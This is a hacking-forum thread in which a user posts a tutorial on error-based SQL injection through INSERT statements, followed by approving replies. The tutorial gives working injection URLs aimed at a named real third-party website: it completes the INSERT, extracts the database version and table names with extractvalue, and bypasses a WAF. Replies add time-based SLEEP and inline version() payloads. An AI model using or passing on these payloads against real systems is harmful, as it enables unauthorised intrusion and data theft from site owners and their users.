[kimsonha]

Hello,

Sometime you will have an inject point with the INSERT statement, if you can go on with INSERT statement, you do not need to read my thread, if no, this is your trick.

So, the idea is using error-based to exploit, you can not use union-based with INSERT statement, as least I can not.

Lets begin with my machine first,

I have created a `Tutorial` database with `Persions` table and two column, `ID` and `Name` for testing.

Now we need an INSERT query, here:

Code

INSERT INTO Persions VALUES ('4','kimsonha')

Because we are using my machine, we have 2 inject point, they are what we input,`4` and `kimsonha`, it will have more if we have real vulnerable site.

We use this query to test:

Code

SELECT 1 FROM (SELECT name_const(version(),1),name_const(version(),1))a)

So here is result:



Nothing special, now let play with real life:

www.moustarchidine.fr/index.php?option=com_fireboard&Itemid=6&func=4'

As you see, there are vulnerable in INSERT statement:



First, we need make as least one inject point, so we go on to make a complete INSERT statement.

Code

www.moustarchidine.fr/index.php?option=com_fireboard&Itemid=6&func=4')%23

The site say:


Now, look at error and  count,

SQL=INSERT INTO jos_fb_whoisonline (`userid` , `time`, `what`, `task`, `do`, `func`,`link`, `userip`, `user`) VALUES ('0', '1361927862', 'Forum principal','','','4')#','/index.php?option=com_fireboard&Itemid=6&func=4%27)%23', '42.117.108.20', '0')

As you see, they have 9 columns, and we only give them 6 values, so we need 3 more to complete the INSERT statement.

Code

www.moustarchidine.fr/index.php?option=com_fireboard&Itemid=6&func=4','0','0','0')%23

The site load normally, it mean we have inject point now :) We have 4 inject points.

Let get the version:

Code

www.moustarchidine.fr/index.php?option=com_fireboard&Itemid=6&func=4','0','0',(select+1+from(select+name_const(version(),1),name_const(version(),1))a))%23

You can use error-based to exploit more, because the version is higher than 5.1.5, so I use UpdateXML and ExtractValue to exploit.

Code

www.moustarchidine.fr/index.php?option=com_fireboard&Itemid=6&func=4','0','0',(select+extractvalue(1,concat(0x2e,(select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1)))))%23

There are a WAF, so we need to bypass:

Code

www.moustarchidine.fr/index.php?option=com_fireboard&Itemid=6&func=4','0','0',(select+extractvalue(1,concat(0x2e,(select+/*!50000table_name*/+from+information_schema.tables+/*!50000where*/+table_schema=database()+limit+0,1)))))%23

And we done :)




Thank for paying attention on my thread.

kimsonha @ HF

p/s: sorry for my bad english.

[drumnvader]

Nice tutorial! thanks for sharing! props

[ajkaro]

HQ tutorial kimsonha... keep it comming 👍

[eagle360]

nice work, man
HQ tutorial kimsonha...

[Black Blade]

sweet tut man HQ keep it up :) 🎉 🎉

[RotiHangus HC]

This is what im searching for!
INSERT DB. Hehehe :)

[Th3PonyWizard]

Yeah doing this with Error based is one way, and it's pretty good. Sometimes tho, you don't have mysql_error() enabling you the use of error based method, so you'd have to resort to other stuff. Boolean-TIME based through benchmark / SLEEP for example.

Code

' + (SELECT IF((SELECT 1)=1, SLEEP(1337), 1)));

That's one pain in the ass tho :\

[benzi]

Yeah doing this with Error based is one way, and it's pretty good. Sometimes tho, you don't have mysql_error() enabling you the use of error based method, so you'd have to resort to other stuff. Boolean-TIME based through benchmark / SLEEP for example.

Code

' + (SELECT IF((SELECT 1)=1, SLEEP(1337), 1)));

That's one pain in the ass tho :\

or, you can simply do this:
if the injection is here-
INSERT INTO Persions VALUES ('4$injection','kimsonha')
you can-
',version())-- -
and then
INSERT INTO Persions VALUES ('4',version()) -- -','kimsonha')

[Th3PonyWizard]

or, you can simply do this:
if the injection is here-
INSERT INTO Persions VALUES ('4$injection','kimsonha')
you can-
',version())-- -
and then
INSERT INTO Persions VALUES ('4',version()) -- -','kimsonha')

I thought the whole point is not being able to see what you're inserting.

[JACK.HAMMER]

my friends iam try with this site but its not working ??!! why